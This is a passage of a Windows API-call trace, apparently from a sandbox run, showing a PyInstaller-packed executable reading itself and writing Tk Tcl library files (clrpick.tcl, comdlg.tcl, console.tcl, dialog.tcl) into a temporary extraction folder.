dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.329] GetLastError () returned 0x2 [0044.329] SetLastError (dwErrCode=0x2) [0044.329] GetLastError () returned 0x2 [0044.329] SetLastError (dwErrCode=0x2) [0044.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\clrpick.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\clrpick.tcl", lpFilePart=0x0) returned 0x3b [0044.329] GetLastError () returned 0x2 [0044.330] SetLastError (dwErrCode=0x2) [0044.330] GetLastError () returned 0x2 [0044.330] SetLastError (dwErrCode=0x2) [0044.330] GetLastError () returned 0x2 [0044.330] SetLastError (dwErrCode=0x2) [0044.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\clrpick.tcl") returned 60 [0044.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\clrpick.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\clrpick.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.330] GetFileType (hFile=0x10c) returned 0x1 [0044.330] htonl (hostlong=0x35530000) returned 0x5335 [0044.330] WriteFile (in: hFile=0x10c, lpBuffer=0x5637c0*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5637c0*, lpNumberOfBytesWritten=0x4fcd00*=0x5000, lpOverlapped=0x0) returned 1 [0044.331] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.331] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x335, lpOverlapped=0x0) returned 1 [0044.331] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.331] CloseHandle (hObject=0x10c) returned 1 [0044.332] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5637c0 | out: hHeap=0x530000) returned 1 [0044.332] htonl (hostlong=0x30000000) returned 0x30 [0044.332] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.332] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.333] GetFileType (hFile=0x10c) returned 0x1 [0044.333] htonl (hostlong=0x38825d00) returned 0x5d8238 [0044.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x623238, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.333] htonl (hostlong=0x760a0000) returned 0xa76 [0044.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa76) returned 0x55e278 [0044.333] htonl (hostlong=0x760a0000) returned 0xa76 [0044.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.333] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.334] htonl (hostlong=0x2e1e0000) returned 0x1e2e [0044.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e2e) returned 0x562098 [0044.334] htonl (hostlong=0x760a0000) returned 0xa76 [0044.334] htonl (hostlong=0x2e1e0000) returned 0x1e2e [0044.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563ed0 [0044.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563ed0 | out: hHeap=0x530000) returned 1 [0044.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.334] CloseHandle (hObject=0x10c) returned 1 [0044.334] GetLastError () returned 0x0 [0044.334] SetLastError (dwErrCode=0x0) [0044.334] GetLastError () returned 0x0 [0044.334] SetLastError (dwErrCode=0x0) [0044.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.334] GetFileType (hFile=0x10c) returned 0x1 [0044.334] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.335] CloseHandle (hObject=0x10c) returned 1 [0044.335] GetLastError () returned 0x0 [0044.335] SetLastError (dwErrCode=0x0) [0044.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\comdlg.tcl") returned 59 [0044.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\comdlg.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\comdlg.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.335] GetLastError () returned 0x2 [0044.335] SetLastError (dwErrCode=0x2) [0044.335] GetLastError () returned 0x2 [0044.335] SetLastError (dwErrCode=0x2) [0044.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\comdlg.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\comdlg.tcl", lpFilePart=0x0) returned 0x3a [0044.335] GetLastError () returned 0x2 [0044.335] SetLastError (dwErrCode=0x2) [0044.335] GetLastError () returned 0x2 [0044.335] SetLastError (dwErrCode=0x2) [0044.335] GetLastError () returned 0x2 [0044.335] SetLastError (dwErrCode=0x2) [0044.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\comdlg.tcl") returned 59 [0044.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\comdlg.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\comdlg.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.335] GetFileType (hFile=0x10c) returned 0x1 [0044.336] htonl (hostlong=0x2e1e0000) returned 0x1e2e [0044.336] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.336] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.336] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xe2e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xe2e, lpOverlapped=0x0) returned 1 [0044.337] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.337] CloseHandle (hObject=0x10c) returned 1 [0044.337] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.337] htonl (hostlong=0x20000000) returned 0x20 [0044.337] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.337] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.337] GetFileType (hFile=0x10c) returned 0x1 [0044.337] htonl (hostlong=0xae8c5d00) returned 0x5d8cae [0044.337] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x623cae, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.337] htonl (hostlong=0x61200000) returned 0x2061 [0044.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2061) returned 0x561090 [0044.337] htonl (hostlong=0x61200000) returned 0x2061 [0044.337] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0044.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x563100 [0044.337] ReadFile (in: hFile=0x10c, lpBuffer=0x563100, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x563100*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.337] htonl (hostlong=0xc2730000) returned 0x73c2 [0044.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73c2) returned 0x564108 [0044.338] htonl (hostlong=0x61200000) returned 0x2061 [0044.338] htonl (hostlong=0xc2730000) returned 0x73c2 [0044.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56b4d8 [0044.338] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56b4d8 | out: hHeap=0x530000) returned 1 [0044.338] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.338] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563100 | out: hHeap=0x530000) returned 1 [0044.338] CloseHandle (hObject=0x10c) returned 1 [0044.338] GetLastError () returned 0x0 [0044.338] SetLastError (dwErrCode=0x0) [0044.338] GetLastError () returned 0x0 [0044.338] SetLastError (dwErrCode=0x0) [0044.338] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.339] GetFileType (hFile=0x10c) returned 0x1 [0044.339] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.339] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.339] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.339] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.339] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.339] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.339] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.339] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.339] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.339] CloseHandle (hObject=0x10c) returned 1 [0044.339] GetLastError () returned 0x0 [0044.339] SetLastError (dwErrCode=0x0) [0044.339] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\console.tcl") returned 60 [0044.339] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\console.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\console.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.339] GetLastError () returned 0x2 [0044.339] SetLastError (dwErrCode=0x2) [0044.339] GetLastError () returned 0x2 [0044.339] SetLastError (dwErrCode=0x2) [0044.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\console.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\console.tcl", lpFilePart=0x0) returned 0x3b [0044.339] GetLastError () returned 0x2 [0044.339] SetLastError (dwErrCode=0x2) [0044.339] GetLastError () returned 0x2 [0044.339] SetLastError (dwErrCode=0x2) [0044.339] GetLastError () returned 0x2 [0044.339] SetLastError (dwErrCode=0x2) [0044.339] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\console.tcl") returned 60 [0044.340] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\console.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\console.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.346] GetFileType (hFile=0x10c) returned 0x1 [0044.346] htonl (hostlong=0xc2730000) returned 0x73c2 [0044.346] WriteFile (in: hFile=0x10c, lpBuffer=0x564108*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564108*, lpNumberOfBytesWritten=0x4fcd00*=0x7000, lpOverlapped=0x0) returned 1 [0044.348] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.348] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x3c2, lpOverlapped=0x0) returned 1 [0044.348] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.348] CloseHandle (hObject=0x10c) returned 1 [0044.348] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564108 | out: hHeap=0x530000) returned 1 [0044.349] htonl (hostlong=0x30000000) returned 0x30 [0044.349] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.349] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.349] GetFileType (hFile=0x10c) returned 0x1 [0044.349] htonl (hostlong=0xfad5d00) returned 0x5dad0f [0044.349] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x625d0f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.349] htonl (hostlong=0x79090000) returned 0x979 [0044.349] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x979) returned 0x55e278 [0044.349] htonl (hostlong=0x79090000) returned 0x979 [0044.349] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.350] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.350] htonl (hostlong=0x76170000) returned 0x1776 [0044.350] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1776) returned 0x562098 [0044.350] htonl (hostlong=0x79090000) returned 0x979 [0044.350] htonl (hostlong=0x76170000) returned 0x1776 [0044.350] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563818 [0044.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563818 | out: hHeap=0x530000) returned 1 [0044.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.350] CloseHandle (hObject=0x10c) returned 1 [0044.350] GetLastError () returned 0x0 [0044.350] SetLastError (dwErrCode=0x0) [0044.350] GetLastError () returned 0x0 [0044.350] SetLastError (dwErrCode=0x0) [0044.350] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.351] GetFileType (hFile=0x10c) returned 0x1 [0044.351] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.351] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.351] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.351] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.351] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.351] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.351] CloseHandle (hObject=0x10c) returned 1 [0044.351] GetLastError () returned 0x0 [0044.351] SetLastError (dwErrCode=0x0) [0044.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\dialog.tcl") returned 59 [0044.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\dialog.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\dialog.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.351] GetLastError () returned 0x2 [0044.351] SetLastError (dwErrCode=0x2) [0044.351] GetLastError () returned 0x2 [0044.351] SetLastError (dwErrCode=0x2) [0044.351] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\dialog.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\dialog.tcl", lpFilePart=0x0) returned 0x3a [0044.351] GetLastError () returned 0x2 [0044.351] SetLastError (dwErrCode=0x2) [0044.351] GetLastError () returned 0x2 [0044.351] SetLastError (dwErrCode=0x2) [0044.351] GetLastError () returned 0x2 [0044.351] SetLastError (dwErrCode=0x2) [0044.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\dialog.tcl") returned 59 [0044.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\dialog.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\dialog.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.352] GetFileType (hFile=0x10c) returned 0x1 [0044.352] htonl (hostlong=0x76170000) returned 0x1776 [0044.352] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, 